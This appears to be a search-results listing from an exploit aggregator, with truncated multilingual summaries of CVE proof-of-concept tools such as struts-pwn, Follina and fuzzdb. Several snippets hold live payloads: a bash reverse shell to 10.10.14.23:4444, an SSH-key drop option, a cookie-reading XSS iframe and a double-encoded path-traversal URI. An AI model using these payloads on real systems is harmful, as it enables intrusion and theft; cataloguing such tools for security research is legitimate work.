112834 matches found
CVE-2021-3131
CVE-2021-3131 Descripción sugerida El servidor web en 1C:Enterprise 8 anterior a 8.3.17.1851 envía credenciales codificadas en base64 en el parámetro URL 'creds'. Tipo de vulnerabilidad Otro CWE-522 Credenciales insuficientemente protegidas Vendedor del producto 1C Company Código base del product...
CVE-2022-26134
CVE-2022-26134 poc Declaración: este PoC es solo para fines de aprendizaje. Se prohíben todas las operaciones ilegales. Si se realiza algún daño malicioso, ¡no tengo nada que ver con ello!!! Instrucciones de uso Verificación individual root@kitploit: python CVE-2022-26134.py target url Verificaci...
struts-pwn
struts-pwn Un exploit pour Apache Struts CVE-2017-5638 Utilisation Test d'une seule URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Test d'une liste d'URLs. python struts-pwn.py --list 'urls.txt' -c 'id' Vérification de l'existence de la vulnérabilité su...
second-order
Second Order Escanea aplicaciones web para la toma de control de subdominios de segundo orden rastreando la aplicación y recolectando URLs y otros datos que coincidan con ciertas reglas o respondan de cierta manera. Instalación Desde binario Descarga un binario precompilado desde la página de...
CVE-2023-22432
CVE-2023-22432 Verificación del PoC de la vulnerabilidad de web2py CVE-2023-22432 Una vulnerabilidad CVE-2023-22432 en web2py fue divulgada el 31 de enero de 2023 hora de EE. UU.. Este artículo describe nuestra discusión sobre esta vulnerabilidad y los resultados de nuestra verificación. Resumen ...
CVE-2020-35262
CVE-2020-35262: Stored XSS in Digisol DG-HR3400 Router Vulnerability Description It has been identified that the vulnerable endpoint doesn't have server side input validation and lacks client side filtering for any malicious script injection. An attacker can use this vulnerability to inject...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
url-status-checker
Comprobador de Estado URL Status Checker v2.1 Comprobador de Estado es un script de Python que verifica el estado de una o varias URLs/dominios y los categoriza según sus códigos de estado HTTP. Versión 2.1.0 Características Verificar el estado de una o varias URLs/dominios. Solicitudes HTTP...
CVE-2021-24917
Exploit para CVE-2021-24917...
PoC-CVE-2025-12097
CVE-2025-12097 Description La modification NI du serveur Appweb contient une vulnérabilité de traversée de répertoire qui permet à un attaquant de lire des fichiers arbitraires sur le serveur. Le chemin URI /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini sera converti en : pathInfo cch...
cve-2020-7799
cve-2020-7799 Detección masiva de cve-2020-7799 Agregue un archivo text.txt en el mismo directorio El formato de URL en el archivo es el siguiente: www.baidu.com 132.231.132.132 133.12.122.13:8080 Ejecute: python3 cve-2020-7799.py Atención: ¡Prohibido usar todos los recursos de este proyecto para...
CVE-2020-12696
CVE-2020-12696 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ Iframe iframe src="javascript:confirmdocument.cookie" width="100%" height="500" Versión plugin: 4.4 Probado en: WordPress...
Deathnote
Deathnote Proof of Concept of CVE-2022-30190 A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling...
onioff
root@kitploit: ██████╗ ███╗ ██╗██╗ ██████╗ ███████╗███████╗ ██╔═══██╗████╗ ██║██║██╔═══██╗██╔════╝██╔════╝ ██║ ██║██╔██╗ ██║██║██║ ██║█████╗ █████╗ ██║ ██║██║╚██╗██║██║██║ ██║██╔══╝ ██╔══╝ ╚██████╔╝██║ ╚████║██║╚██████╔╝██║ ██║ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ v2.0 Una herramienta simple -...
CVE-2022-29455
CVE-2022-29455 Vulnerabilidad de WordPress - XSS Cross-Site Scripting Ubicación de la Vulnerabilidad https://add your target here/wp-content/plugins/elementor/assets/js/frontend.min.js Versión vulnerable = 3.5.5 Prueba de Concepto Exploit https://add your target...
CVE-2019-9670
Insignias Licencia MIT Instalación 1. Instala Python3 y pip Instrucciones aquí Si no puedes resolver esto, realmente no deberías estar usando esto Instalar mediante pip root@kitploit: pip install CVE-2019-9670 Ejecuta el siguiente comando para verificar CVE-2019-9670 -h Configuraciones 2...
CVE-2024-46635
CVE-2024-46635 Antecedentes El sistema GongZhiDao es una plataforma desarrollada por GongZhiDao. Proporciona soluciones empresariales que incluyen gestión de usuarios, análisis de datos y funcionalidades operativas. Sin embargo, se descubrió una vulnerabilidad de seguridad en uno de los endpoints...
fuzzdb
FuzzDB was created to increase the likelihood of finding application security vulnerabilities through dynamic application security testing. It's the first and most comprehensive open dictionary of fault injection patterns, predictable resource locations, and regex for matching server responses...